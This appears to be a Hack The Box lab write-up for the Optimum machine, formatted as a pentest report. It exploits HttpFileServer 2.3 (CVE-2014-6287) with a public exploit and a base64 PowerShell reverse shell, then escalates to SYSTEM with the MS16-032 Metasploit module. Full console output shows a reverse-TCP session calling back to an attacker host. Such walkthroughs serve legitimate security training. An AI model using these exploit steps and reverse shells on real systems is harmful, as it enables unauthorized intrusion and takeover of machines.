Hack The Box Optimum Writeup (Easy Windows)
Easy Windows box. HttpFileServer 2.3 on port 80 falls to CVE-2014-6287 for a shell as kostas, and MS16-032 escalates that session to SYSTEM.
Summary
Optimum exposes a single service, HttpFileServer 2.3 on port 80. That version is affected by CVE-2014-6287, a remote code execution flaw in its search handler, and a public exploit from Exploit-DB carries a base64 encoded PowerShell reverse shell to give a foothold as the user kostas. Upgrading that foothold to a meterpreter session and running the local exploit suggester reports the host as missing the MS16-032 patch, a race condition in the Secondary Logon service. The matching Metasploit module wins the handle race on the second attempt, despite printing errors along the way, and returns a session whose getprivs listing covers the full SYSTEM privilege set.
High-Level Summary
The assessment uncovered concerning vulnerabilities within the Optimum machine:
- CVE-2014-6287 (HttpFileServer RCE) - Severity: High - Explanation: Remote Code Execution (RCE) vulnerability identified in HttpFileServer version 2.3.
- Recommendation: Update to the latest version of HttpFileServer to mitigate the risk.
- MS16-032 (Privilege Escalation) - Severity: Extreme - Explanation: Privilege escalation vulnerability discovered, allowing potential unauthorized access.
- Recommendation: Apply the provided Microsoft patch to fix this critical vulnerability.
This high-level summary outlines the vulnerabilities found during the penetration test, along with their respective severity levels. It underscores the importance of promptly addressing and remedying these vulnerabilities to enhance overall system security.
Detailed Findings
Detailed vulnerability explanations, vulnerability fixes, severity ratings, and steps to reproduce the identified vulnerabilities are documented in “Independent Challenge” section.
Independent Challenge - 10.10.10.8
export IP=10.10.10.8
Service Enumeration
| IP Address | Ports Open |
|---|---|
| 10.10.10.8 | TCP: 80 |
Command: nmap -sC -sV -T4 -vv -p- 10.10.10.8
Initial Access - HttpFileServer 2.3 RCE
Vulnerability Explanation: The vulnerability was addressed as CVE-2014-6287, a remote code execution (RCE) vulnerability in HttpFileServer version 2.3.
Vulnerability Fix: The vendor released an updated version of HttpFileServer that patches the RCE vulnerability. Upgrade to the latest version to mitigate the risk.
Severity: High
Steps to Reproduce the Attack:
- Download this public exploit
- Go to revshells.com, select PowerShell #3 (Base64), change the IP address at the top to your VPN IP address, and copy the generated payload.
- Run the following command to obtain a foothold on the machine:
1
python3 49125.py 10.10.10.8 80 "powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0AIABOA {abbreviated} GwAbwBzAGUAKAApAA=="
Post-Exploitation
LPE to SYSTEM
Vulnerability Explanation: After generating a malicious Windows executable to establish a meterpreter session on the victim, Behind Security was able to successfully identify, by running windows exploit suggester (post/multi/recon/local_exploit_suggester), that the machine is vulnerable to ms16-032, a privilege escalation vulnerability.
Vulnerability Fix: Microsoft has issued a patch to fix this known issue. You can learn more about the patch and its details on Microsoft’s official website.
Severity: Extreme
Steps to Reproduce the Attack: The attacker needs to have a meterpreter session on the machine.
- Background the meterpreter session using the command
bg - Run:
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc - Configuration and output are provided below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > options
Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process,
none)
LHOST 192.168.1.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST ATTACKER-IP
LHOST => ATTACKER-IP
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 2
SESSION => 2
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run
[*] Started reverse TCP handler on ATTACKER-IP:4444
[+] Compressed size: 1160
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\gfJYTJhM.ps1...
[*] Compressing script contents...
[+] Compressed size: 3745
[*] Executing exploit script...
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
¨NBSP;
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 2380
[*] Sniffing out privileged impersonation token..
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[ref] cannot be applied to a variable that does not exist.
At line:200 char:3
+ $iD6g = [Ntdll]::NtImpersonateThread($mgn, $mgn, [ref]$p8yG)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (p8yG:VariablePath) [], Runtim
eException
+ FullyQualifiedErrorId : NonExistingVariableReference
[!] NtImpersonateThread failed, exiting..
[+] Thread resumed!
[*] Sniffing out SYSTEM shell..
[>] Duplicating SYSTEM token
Cannot convert argument "ExistingTokenHandle", with value: "", for "DuplicateTo
ken" to type "System.IntPtr": "Cannot convert null to type "System.IntPtr"."
At line:259 char:2
+ $iD6g = [Advapi32]::DuplicateToken($iF, 2, [ref]$gYZ)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodException
+ FullyQualifiedErrorId : MethodArgumentConversionInvalidCastArgument
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
iX7rWHCXEXxPf38Tph4mU5nNNfoW2lnc
[+] Executed on target machine.
[*] Sending stage (175686 bytes) to 10.10.10.8
[*] Meterpreter session 3 opened (ATTACKER-IP:4444 -> 10.10.10.8:49210) at 2023-08-12 11:13:08 -0400
[+] Deleted C:\Users\kostas\AppData\Local\Temp\gfJYTJhM.ps1
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeLockMemoryPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTcbPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > getsystem
[-] Already running as SYSTEM